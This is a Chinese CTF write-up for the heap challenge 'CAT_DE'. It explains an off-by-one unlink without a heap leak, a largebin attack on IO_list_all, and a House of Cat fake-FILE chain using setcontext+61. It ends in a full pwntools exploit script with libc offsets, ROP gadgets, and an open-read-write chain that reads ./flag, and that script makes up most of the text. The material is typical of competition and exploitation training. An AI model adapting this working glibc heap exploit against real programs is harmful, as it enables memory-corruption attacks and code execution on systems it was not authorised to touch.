0%

CAT_DE出题思路

CAT_DE

原本是想考察无泄露 off-by-one + houseofcat 的,但考虑到比赛时长还是对题目进行了修改,原本的设计会记录输入的数据大小,然后在 write 时限制输出的大小,而现在改为 0x30 了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void show()
{
unsigned int index;

output("idx:\n");
index = (unsigned int)input_num();
if (index <= 0xF && chunk_list[index])
{
output("context:\n");
write(1, chunk_list[index], 0x30uLL);
}
else
{
output("wrong!\n");
}
}
  • 如果 write 没有了限制,就可以直接打印遗留的 heap 地址

本 wp 还是使用的无泄露 off-by-one + houseofcat 的方式来解题,对于没有 heap_base 的 unlink 攻击可以用如下思路进行绕过:

  • 获取两个 unsorted chunk 进行合并,其中的第二个 chunk 末地址必须为 \x00(遗留下 FD BK 指针)
  • 重新申请大 unsorted chunk 后释放(不破坏原来的 heap 结构),然后再次进行分割,使第二个 chunk 的末尾地址为 \x30 或者 \x40 \x50 等等(有一定偏移的地址都可以)
  • 之后利用 unsortedbin 进行调整,在 FD->bk 和 BK->fd 中写入 \x30,然后覆盖为 \x00
1
2
3
4
5
pwndbg> telescope 0x55b6302fbd00
00:00000x55b6302fbd00 ◂— 0x0
01:00080x55b6302fbd08 ◂— 0x441
02:00100x55b6302fbd10 —▸ 0x55b6302fb290 ◂— 0x0
03:00180x55b6302fbd18 —▸ 0x55b6302fc350 ◂— 0x0

完成 unlink 攻击后有一次 largebin attack 的机会,劫持 stderr 伪造 FILE 结构体,后面的利用就和 house of cat 一样了

house of cat 调用链如下:

1
__fxprintf -> locked_vfxprintf -> __vfprintf_internal ->  _IO_wfile_seekoff -> _IO_switch_to_wget_mode
1
2
3
4
5
0x7fa0ae8d1838 <_IO_wfile_seekoff+104>    call   _IO_switch_to_wget_mode                <_IO_switch_to_wget_mode>
rdi: 0x5618e47bbb00 ◂— 0x0
rsi: 0x7fa0aea2a208 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"
rdx: 0x5618e47bbbb0 ◂— 0x0
rcx: 0x0
  • 在这里会 call [rax+0x18]rax 是我们可以控制的(就是 FILE->_IO_buf_end,是我们人为伪造的)
1
2
3
4
5
6
 RAX  0x5620ac902b40 ◂— 0xffff
*RBX 0x0
RCX 0x0
RDX 0x5620ac902bb0 ◂— 0x0

0x7f6ef7dc9d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18] <setcontext+61>
  • 把这里修改为 setcontext+61 进行栈迁移(rdx 也是可以控制的)
1
2
3
4
5
6
pwndbg> telescope 0x5620ac902b40+0x18
00:00000x5620ac902b58 —▸ 0x7f6ef7d99a6d (setcontext+61) ◂— mov rsp, qword ptr [rdx + 0xa0]
01:00080x5620ac902b60 ◂— 0x0
... ↓ 4 skipped
06:00300x5620ac902b88 —▸ 0x5620ac902200 ◂— 0x200000001
07:00380x5620ac902b90 ◂— 0x0
  • 最后利用 House Of Kiwi 中的方式 get shell

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './CAT_DE1'

context.os='linux'
#context.log_level = 'debug'
cmd = "set debug-file-directory ./.debug/\n"

if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
#p = process(challenge)
p = gdb.debug(challenge,cmd)
else:
p = remote('xx.xx.xx.xx','xx')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x15EF)\n")
#pause()

def cmd(op):
sla(">>",str(op))

def add(size,data="\x00"):
cmd(1)
sla("size:\n",str(size))
sa("content:\n",data)

def edit(index,data):
cmd(4)
sla("idx:\n",str(index))
sa("content:\n",data)

def show(index):
cmd(3)
sla("idx:\n",str(index))

def free(index):
cmd(2)
sla("idx:\n",str(index))

#debug()

add(0x418) #0
add(0x210) #1
add(0x428) #2
add(0x438) #3
add(0x208) #4
add(0x428) #5
add(0x208) #6

free(0)
free(3)
free(5)
free(2)

add(0x440,0x428*'a'+p64(0xc91)) #0
add(0x418) #3 0x2b0

add(0x418) #2 0xd20 - over \x00 to bk/fd
add(0x428) #5 0x370

free(3) # 0x2b0 - bk=0xd20
free(2) # 0xd20

add(0x418,'a'*8+"\x00") #2 修复fd->bk(低位覆盖\x00)
add(0x418) #3

free(3) # 0xd20
free(5) # 0x350 - fd=0xd20

add(0x9f8) #3 make 0x350 to large
add(0x428,'\x00') #5 修复bk->fd(低位覆盖\x00)

edit(6,0x200*'a'+p64(0xc90))
add(0x418) #7
add(0x208) #8

free(3) # unlink
add(0x430,flat(0,0,0,p64(0x421))) #3
add(0x1600) #9

show(4)
p.recvuntil("context:\n")
leak_addr=u64(p.recv(6).ljust(8,'\x00'))
libc_base=leak_addr-0x21a310
log.success('leak_addr: '+hex(leak_addr))
log.success('libc_base: '+hex(libc_base))

show(5)
p.recvuntil("context:\n")
leak_addr=u64(p.recv(6).ljust(8,'\x00'))
heap=leak_addr-0x290
log.success('leak_addr: '+hex(leak_addr))
log.success('heap_base: '+hex(heap))

setcontext=libc_base+libc.sym['setcontext']+61
open_libc=libc_base+libc.sym['open']
read_libc=libc_base+libc.sym['read']
write_libc=libc_base+libc.sym['write']
success("setcontext >> "+hex(setcontext))

IO_list_all = libc_base+0x21a680
stderr = libc_base+libc.sym['stderr']
IO_wfile_jumps = libc_base+libc.sym['_IO_wfile_jumps']
success("IO_list_all >> "+hex(IO_list_all))
success("IO_wfile_jumps >> "+hex(IO_wfile_jumps))

pop_rdi_ret=0x000000000002a3e5+libc_base
pop_rsi_ret=0x000000000002be51+libc_base
pop_rdx_pop_rbx_ret=0x0000000000090529+libc_base
ret=0x0000000000029cd6+libc_base
success("pop_rdi_ret >> "+hex(pop_rdi_ret))
success("pop_rsi_ret >> "+hex(pop_rsi_ret))
success("pop_rdx_pop_rbx_ret >> "+hex(pop_rdx_pop_rbx_ret))
success("ret >> "+hex(ret))

next_chain = 0
fake_io_addr = heap + 0x1360 - 0x10
payload_addr = heap
success("fake_io_addr >> "+hex(fake_io_addr))

ORW_addr = heap+0x8e0
flag_addr = heap + 0x8e0 + 0x270

fake_IO_FILE = "/bin/sh\x00" #_flags=rdi
fake_IO_FILE += p64(0)*5
fake_IO_FILE += p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE += p64(ORW_addr-0xa0)#_IO_backup_base=rdx
fake_IO_FILE += p64(setcontext)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(flag_addr) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE += p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')
fake_IO_FILE += p64(IO_wfile_jumps+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x30+0x10) # rax2_addr

chain = p64(ORW_addr)
chain += flat(pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_libc)
chain +=flat(pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_libc)
chain +=flat(pop_rdi_ret , 1 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , write_libc).ljust(0x200,'\x00') + './flag\x00'

add(0x1240,0x208*'a'+p64(0x431)+0x428*'a'+p64(0x211)+0x208*'a'+p64(0xa01)) # padding-不要破坏原来的chunk结构
free(0)
add(0x440,chain) # 0-chain

add(0x418) #11
add(0x208) #12
free(5)
free(4)

add(0x1240,0x208*'a'+p64(0x431)+p64(libc_base+0x21a0d0)*2+p64(heap+0x1350)+p64(IO_list_all-0x20)) #4
free(11)
add(0x500) # largebin attack
add(0x410)
free(4)
add(0x1240,0x208*'a'+p64(0x431)+p64(libc_base+0x21a0d0)*2+p64(heap+0x1350)*2) #4

payload = fake_IO_FILE+p64(flag_addr)
add(0x420,payload) #13

pause()
cmd(5)

p.interactive()